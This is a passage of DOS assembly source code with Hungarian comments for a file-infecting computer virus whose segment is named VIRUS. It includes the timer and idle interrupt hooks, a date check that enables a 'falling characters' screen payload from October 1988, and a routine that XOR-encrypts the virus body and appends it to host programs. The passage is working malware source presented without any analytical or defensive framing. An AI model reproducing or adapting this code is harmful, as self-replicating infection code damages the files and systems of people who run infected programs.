CALL VIDOLV ; BEOLVASAS A VIDEORAM-BOL
|
||
|
CMP AH,OLVATT ; AZ ATTRIBUTUMOK OSSZEHASONLITASA
|
||
|
JNZ PO9 ; NEM EGYEZNEK
|
||
|
CALL URES ; URES KARAKTER-E?
|
||
|
JNC POE ; NEM
|
||
|
CALL HANGSZ ; HANG ELOALLITASA
|
||
|
DEC DH ; A FELETTE LEVO SOR
|
||
|
CALL VIDOLV ; BEOLVASASA
|
||
|
MOV OLVKAR,AL ; ES AZ OTT LEVO KARAKTER ELTAROLASA
|
||
|
INC DH ; AZ ALATTA LEVO SOR
|
||
|
POA: AND STATUS,11111101B ; SIKERULT POTYOGTATNI
|
||
|
DEC DH ; A FELETTE LEVO SOR
|
||
|
MOV AL,20H ; A SZOKOZ KODJA
|
||
|
CALL VIDIR ; KIIRASA
|
||
|
INC DH ; AZ ALATTA LEVO SOR
|
||
|
MOV AL,OLVKAR ; A KARAKTER
|
||
|
CALL VIDIR ; KIIRASA
|
||
|
JCXZ POB ; HA ELERTUK A LEGALSO SORT, AKKOR KILEPES
|
||
|
CALL VARAK ; VARAKOZAS
|
||
|
DEC CX ; ES A VISSZALEVO SOROK SZAMANAK CSOKKENTESE
|
||
|
POB: JMP POC
|
||
|
PO9: TEST STATUS,10B ; POTYOGOTT MAR KARAKTER?
|
||
|
JZ POD ; IGEN
|
||
|
JMP PO8 ; UJ KISERLET
|
||
|
POD: CALL HANGSZ ; HANG ELOALLITASA
|
||
|
DEC SI ; EGGYEL KEVESEBB KARAKTER VAN HATRA
|
||
|
JZ PO7 ; HA NULLA, AKKOR KILEPNI
|
||
|
JMP PO3 ; UJRA KISERELNI
|
||
|
PO7: IN AL,61H ; A HANGSZORO BEOLVASASA
|
||
|
AND AL,11111100B ; KIKAPCSOLASA
|
||
|
OUT 61H,AL ; MAJD VISSZAIRASA
|
||
|
RET ; VISSZATERES
|
||
|
POTY ENDP
|
||
|
|
||
|
UJ1C: TEST CS:STATUS,1001B ; A POTYOGAS TILTVA, VAGY EPPEN POTYOG?
|
||
|
JNZ U1C_1 ; IGEN
|
||
|
OR CS:STATUS,1 ; EPPEN POTYOG JELZOT BEALLITANI
|
||
|
DEC CS:SZAML ; A SZAMLALOT CSOKKENTENI
|
||
|
JNZ U1C_2 ; HA MEG NEM NULLA, AKKOR VEGE
|
||
|
PUSH DS ; REGISZTEREK ELMENTESE
|
||
|
PUSH ES
|
||
|
PUSH CS
|
||
|
POP DS ; DS=CS
|
||
|
PUSH CS
|
||
|
POP ES ; ES=CS
|
||
|
PUSH AX
|
||
|
PUSH BX
|
||
|
PUSH CX
|
||
|
PUSH DX
|
||
|
PUSH SI
|
||
|
PUSH DI
|
||
|
PUSH BP
|
||
|
MOV AL,20H
|
||
|
OUT 20H,AL
|
||
|
MOV AX,SZAMLEL ; A SZAMLALO ELOZO ERTEKE
|
||
|
CMP AX,0438H ; AZ ELOZO ERTEK KISEBB VOLT?
|
||
|
JNB U1C_3 ; NEM
|
||
|
MOV AX,0438H ; KB. 60 MASODPERC
|
||
|
U1C_3: CALL VELETL ; VELETLENSZAM ELOAALITASA
|
||
|
INC AX ; AZ IDO NEM LEHET NULLA
|
||
|
MOV SZAML,AX ; ES ELTAROLAS A SZAMLALOBA
|
||
|
MOV SZAMLEL,AX ; ES MINT A SZAMLALO UTOLSO ERTEKE IS
|
||
|
CALL POTY ; POTYOGTATAS
|
||
|
MOV AX,3 ; VELETLENSZAM ELOALLIASA
|
||
|
CALL VELETL ; 1 ES 3 KOZOTT
|
||
|
INC AX
|
||
|
MUL POTYKAR ; EZT SZOROZNI A MAXIMALISAN POTYOGTATHATO
|
||
|
JNB U1C_4 ; KARAKTEREK SZAMAVAL
|
||
|
MOV AX,0FFFFH ; MAXIMUM 65535 DB LEHET
|
||
|
U1C_4: MOV POTYKAR,AX ; ELTAROLASA
|
||
|
POP BP ; REGISZTEREK VISSZOLVASASA
|
||
|
POP DI
|
||
|
POP SI
|
||
|
POP DX
|
||
|
POP CX
|
||
|
POP BX
|
||
|
POP AX
|
||
|
POP ES
|
||
|
POP DS
|
||
|
U1C_2: AND CS:STATUS,11111110B ; EPPEN NEM POTYOG BEALLITASA
|
||
|
U1C_1: JMP DWORD PTR CS:REG1C ; FOLYTATASA A REGI INT 1CH-N
|
||
|
|
||
|
UJ28: TEST CS:STATUS,1000B ; TILTVA A POTYOGAS?
|
||
|
JZ U28_1 ; HA NEM, AKKOR FELESLEGES VEGREHAJTANI
|
||
|
PUSH AX ; REGISZTEREK MENTESE
|
||
|
PUSH CX
|
||
|
PUSH DX
|
||
|
MOV AH,2AH ; A RENDSZERDATUM BEOLVASASA
|
||
|
INT 21H
|
||
|
CMP CX,1988 ; AZ EV 1988?
|
||
|
JB U28_2 ; HA KISEBB, AKKOR KILEPES
|
||
|
JA U28_3 ; HA NAGYOBB, AKKOR POTYOGHAT
|
||
|
CMP DH,10 ; VAN MAR OKTOBER?
|
||
|
JB U28_2 ; HA MEG NINCS, AKKOR NE POTYOGJON
|
||
|
U28_3: AND CS:STATUS,11110111B ; A POTYOGAS ENGEDELYEZVE
|
||
|
U28_2: POP DX ; REGISZTEREK VISSZAOLVASASA
|
||
|
POP CX
|
||
|
POP AX
|
||
|
U28_1: JMP DWORD PTR CS:REG28 ; FOLYTATAS A REGI INT 28H-N
|
||
|
|
||
|
UTANMAS PROC NEAR ; A VIRUS KIMASOLASA A PROGRAM MOGE
|
||
|
PUSH ES
|
||
|
PUSH BX
|
||
|
MOV AH,48H ; MEMORIATERULET ALLOKALASA
|
||
|
MOV BX,OFFSET HOSSZ/10H+1
|
||
|
INT 21H
|
||
|
POP BX
|
||
|
JNC UTAN1 ; SIKERULT?
|
||
|
UTAN3: STC
|
||
|
POP ES
|
||
|
RET
|
||
|
UTAN1: MOV BYTE PTR CS:100H,1
|
||
|
MOV ES,AX
|
||
|
PUSH CS ; DS=CS
|
||
|
POP DS
|
||
|
XOR DI,DI ; DI=0
|
||
|
MOV SI,100H ; SI=100H
|
||
|
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
|
||
|
CLD ; NOVEKVO IRANY
|
||
|
REPZ MOVSB ; A VIRUS KIMASOLASA AZ ALLOKALT TERULETRE
|
||
|
MOV DI,OFFSET INDIT-100H
|
||
|
MOV SI,OFFSET INDIT
|
||
|
ADD SI,WORD PTR FILHOS
|
||
|
MOV CX,OFFSET VEG-INDIT
|
||
|
UTAN2: XOR ES:[DI],SI ; A VIRUS LE XOR-OLASA
|
||
|
XOR ES:[DI],CX
|
||
|
INC DI
|
||
|
INC SI
|
||
|
LOOP UTAN2
|
||
|
MOV DS,AX ; DS A PUFFER ELEJERE MUTAT
|
||
|
MOV AH,40H
|
||
|
XOR DX,DX ; AZ OFSZET A PUFFER ELEJERE
|
||
|
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
|
||
|
INT 21H ; KIIRAS A PROGRAM MOGE
|
||
|
PUSHF
|
||
|
PUSH AX
|
||
|
MOV AH,49H ; AZ ALLOKALT MEMORIABLOKK FELSZABADITASA
|
||
|
INT 21H
|
||
|
POP AX ; A REGISZTEREK VISSZAOLVASASA
|
||
|
POPF
|
||
|
PUSH CS ; DS=CS
|
||
|
POP DS
|
||
|
JC UTAN3
|
||
|
CMP AX,CX ; MINDEN BYTEOT KIIRT?
|
||
|
JNZ UTAN3 ; NEM
|
||
|
POP ES
|
||
|
CLC ; NEM TORTENT HIBA
|
||
|
RET ; VISSZATERES
|
||
|
UTANMAS ENDP
|
||
|
|
||
|
VEG EQU $
|
||
|
|
||
|
VIRUS ENDS
|
||
|
|
||
|
END
|
||
|
|